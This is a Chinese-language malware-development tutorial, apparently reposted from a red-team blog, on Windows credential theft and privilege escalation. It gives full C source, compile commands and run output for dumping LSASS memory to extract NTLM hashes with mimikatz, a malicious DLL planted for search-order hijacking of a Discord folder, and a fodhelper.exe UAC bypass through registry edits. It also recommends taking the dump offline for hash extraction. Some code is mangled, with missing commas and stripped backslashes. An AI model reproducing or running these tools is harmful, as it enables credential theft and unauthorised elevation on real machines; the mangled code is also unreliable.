【MalDev-06】提权基础与实战-2

admin 2024年11月28日10:07:57评论9 views字数 10568阅读35分13秒阅读模式

04-密码窃取

用户密码或哈希存放在LSASS中,mimikatz可以转储lsass进程获取NTLM哈希

可以使用MiniDumpWriteDump函数获取进程dump,生成一个迷你转储文件,该文件是调用函数时应用程序状态的一个小快照。这个文件对于调试很有价值,因为它包含异常信息、已加载的dll列表、堆栈信息和其他系统状态数据

BOOL MiniDumpWriteDump(
[in] HANDLE hProcess,
[in] DWORD ProcessId,
[in] HANDLE hFile,
[in] MINIDUMP_TYPE DumpType,
[in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
[in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
[in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam
)
;

首先使通过进程名获取进程ID

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

// find process ID by process name
int findTargetProcess(const char *targetProcName) {

  HANDLE processSnapshot;
  PROCESSENTRY32 processEntry;
  int processID = 0;
  BOOL operationResult;

  // snapshot of all processes in the system
  processSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == processSnapshot) return 0;

  // initializing size: needed for using Process32First
  processEntry.dwSize = sizeof(PROCESSENTRY32);

  // info about first process encountered in a system snapshot
  operationResult = Process32First(processSnapshot, &processEntry);

  // retrieve information about the processes
  // and exit if unsuccessful
  while (operationResult) {
    // if we find the process: return process ID
    if (strcmp(targetProcName, processEntry.szExeFile) == 0) {
      processID = processEntry.th32ProcessID;
      break;
    }
    operationResult = Process32Next(processSnapshot, &processEntry);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(processSnapshot);
  return processID;
}
int main(int argc, char* argv[]) {
  int pid = 0// process ID

  pid = findTargetProcess(argv[1]);
  if (pid) {
    printf("PID = %dn", pid);
  }
  return 0;
}

编译

x86_64-w64-mingw32-g++ -O2 procfind.c -o procfind.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

windows10上运行

procfind.exe lsass.exe
PID = 672

【MalDev-06】提权基础与实战-2

转储LSASS需要SeDebugPrivilege权限

// set privilege
BOOL enablePrivilege(LPCTSTR privilegeName) {
  HANDLE processToken;
  TOKEN_PRIVILEGES tokenPrivileges;
  LUID privilegeLUID;
  BOOL result = TRUE;

  if (!LookupPrivilegeValue(NULL, privilegeName, &privilegeLUID)) result = FALSE;

  tokenPrivileges.PrivilegeCount = 1;
  tokenPrivileges.Privileges[0].Luid = privilegeLUID;
  tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &processToken)) result = FALSE;
  if (!AdjustTokenPrivileges(processToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) result = FALSE;
  printf(result ? "successfully enabled %s :)n" : "failed to enable %s :(n", privilegeName);
  return result;
}

dump实现

// create minidump of lsass.exe
BOOL generateMiniDump() {
  bool dumpSuccess = FALSE;
  int processID = locateTargetProcess("lsass.exe");
  HANDLE processHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, processID);
  HANDLE outputHandle = CreateFile((LPCTSTR)"c:\temp\lsass.dmp", GENERIC_ALL, 0NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (processHandle && outputHandle != INVALID_HANDLE_VALUE) {
    dumpSuccess = MiniDumpWriteDump(processHandle, processID, outputHandle, (MINIDUMP_TYPE)0x00000002NULLNULLNULL);
    printf(dumpSuccess ? "successfully dumped to lsass.dmp :)n" : "failed to dump :(n");
  } 
  return dumpSuccess; 
}

完整代码

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")

int locateTargetProcess(const char *targetProcName) {

  HANDLE processSnapshot;
  PROCESSENTRY32 processEntry;
  int processID = 0;
  BOOL operationResult;

  // snapshot of all processes in the system
  processSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == processSnapshot) return 0;

  // initializing size: needed for using Process32First
  processEntry.dwSize = sizeof(PROCESSENTRY32);

  // info about first process encountered in a system snapshot
  operationResult = Process32First(processSnapshot, &processEntry);

  // retrieve information about the processes
  // and exit if unsuccessful
  while (operationResult) {
    // if we find the process: return process ID
    if (strcmp(targetProcName, processEntry.szExeFile) == 0) {
      processID = processEntry.th32ProcessID;
      break;
    }
    operationResult = Process32Next(processSnapshot, &processEntry);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(processSnapshot);
  return processID;
}

// set privilege
BOOL enablePrivilege(LPCTSTR privilegeName) {
  HANDLE processToken;
  TOKEN_PRIVILEGES tokenPrivileges;
  LUID privilegeLUID;
  BOOL result = TRUE;

  if (!LookupPrivilegeValue(NULL, privilegeName, &privilegeLUID)) result = FALSE;

  tokenPrivileges.PrivilegeCount = 1;
  tokenPrivileges.Privileges[0].Luid = privilegeLUID;
  tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &processToken)) result = FALSE;
  if (!AdjustTokenPrivileges(processToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) result = FALSE;
  printf(result ? "successfully enabled %s :)n" : "failed to enable %s :(n", privilegeName);
  return result;
}

// create minidump of lsass.exe
BOOL generateMiniDump() {
  bool dumpSuccess = FALSE;
  int processID = locateTargetProcess("lsass.exe");
  HANDLE processHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, processID);
  HANDLE outputHandle = CreateFile((LPCTSTR)"c:\temp\lsass.dmp", GENERIC_ALL, 0NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (processHandle && outputHandle != INVALID_HANDLE_VALUE) {
    dumpSuccess = MiniDumpWriteDump(processHandle, processID, outputHandle, (MINIDUMP_TYPE)0x00000002NULLNULLNULL);
    printf(dumpSuccess ? "successfully dumped to lsass.dmp :)n" : "failed to dump :(n");
  } 
  return dumpSuccess; 
}

int main(int argc, char* argv[]) {
  if (!enablePrivilege(SE_DEBUG_NAME)) return -1;
  if (!generateMiniDump()) return -1;
  return 0;
}

编译

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -ldbghelp

以管理员身份运行

C:UsersadminDownloads>hack.exe
successfully enabled SeDebugPrivilege :)
successfully dumped to lsass.dmp :)

【MalDev-06】提权基础与实战-2

使用mimikatz获取hash

.mimikatz.exe
sekurlsa::minidump c:templsass.dmp
sekurlsa::logonpasswords

【MalDev-06】提权基础与实战-2

实际利用时可以使用hack.exe获取lsass转储,然后下载回来离线dump哈希

05-DLL加载顺序劫持和供应链攻击

需要找到一个服务或者有高权限的程序,该程序加载dll的路径可以写入dll文件

利用Process Monitor搜索

【MalDev-06】提权基础与实战-2

找到

【MalDev-06】提权基础与实战-2

恶意dll代码

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
  if (dwReason == DLL_PROCESS_ATTACH) {
    system("cmd.exe");
    ExitProcess(0);
  }
  return TRUE;
}

编译

x86_64-w64-mingw32-gcc hack.c -shared -o output.dll

dll文件命名为d3d11.dll放在C:UsersuserAppDataLocalDiscordapp-1.0.9004目录,系统启动程序运行时,dll被加载运行

【MalDev-06】提权基础与实战-2

注意:有时dll需要编写多个函数,否则进程加载dll后调用相关函数失败会导致无法运行

06-UAC绕过

fodhelper.exe绕过技术,通过修改注册表项来实现,主要关注下面注册表项

HKCU\Software\Classes<targeted_extension>\shell\opencommand (Default or DelegateExecute值)
HKCU\Environment\windir
HKCU\Environment\systemroot

C:WindowsSystem32fodhelper.exe文件具有微软数字签名,运行后是高完整度权限(不会弹出UAC窗口),然后使用默认的应用程序访问ms-settings文件,但是默认程序的注册表项已经被我们改掉,就会执行命令

代码

#include <windows.h>
#include <stdio.h>

int main() {
  HKEY registryKey;
  DWORD disposition;

  const char* registryPath = "Software\Classes\ms-settings\Shell\Open\command";
  const char* command = "cmd /c start C:\Windows\System32\cmd.exe"// default program
  const char* delegateExecute = "";

  // Attempt to open the registry key
  LSTATUS status = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)registryPath, 0NULL0, KEY_WRITE, NULL, &registryKey, &disposition);
  printf(status != ERROR_SUCCESS ? "Failed to open or create the registry key.n" : "Successfully created the registry key.n");

  // Set the registry values
  status = RegSetValueEx(registryKey, ""0, REG_SZ, (unsigned char*)command, strlen(command));
  printf(status != ERROR_SUCCESS ? "Failed to set the registry value.n" : "Successfully set the registry value.n");

  status = RegSetValueEx(registryKey, "DelegateExecute"0, REG_SZ, (unsigned char*)delegateExecute, strlen(delegateExecute));
  printf(status != ERROR_SUCCESS ? "Failed to set the registry value: DelegateExecute.n" : "Successfully set the registry value: DelegateExecute.n");

  // Close the registry key handle
  RegCloseKey(registryKey);

  // Start the fodhelper.exe program
  SHELLEXECUTEINFO shellExecuteInfo = { sizeof(shellExecuteInfo) };
  shellExecuteInfo.lpVerb = "runas";
  shellExecuteInfo.lpFile = "C:\Windows\System32\fodhelper.exe";
  shellExecuteInfo.hwnd = NULL;
  shellExecuteInfo.nShow = SW_NORMAL;

  if (!ShellExecuteEx(&shellExecuteInfo)) {
    DWORD error = GetLastError();
    printf (error == ERROR_CANCELLED ? "The user refused to allow privilege elevation.n" : "Unexpected error! Error code: %ldn", error);
  } else {
    printf("Successfully created the process =^..^=n");
  }
  
  return 0;
}

编译

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

在Win10上运行

reg query "HKCUSoftwareClassesms-settingsShellopencommand"
ERROR: The system was unable to find the specified registry key or value.

C:UsersadminDownloads>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

C:UsersadminDownloads>hack.exe
Successfully created the registry key.
Successfully set the registry value.
Successfully set the registry value: DelegateExecute.
Successfully created the process =^..^=

C:UsersadminDownloads>reg query "HKCUSoftwareClassesms-settingsShellopencommand"

HKEY_CURRENT_USERSoftwareClassesms-settingsShellopencommand
    DelegateExecute    REG_SZ
    (Default)    REG_SZ    cmd /c start C:WindowsSystem32cmd.exe

【MalDev-06】提权基础与实战-2

Process Hacker查看

【MalDev-06】提权基础与实战-2

Elevated:Yes

UAC绕过完成

加微信拉群分享更多学习资料

【MalDev-06】提权基础与实战-2

原文始发于微信公众号(高级红队专家):【MalDev-06】提权基础与实战-2

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月28日10:07:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【MalDev-06】提权基础与实战-2http://cn-sec.com/archives/3443477.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息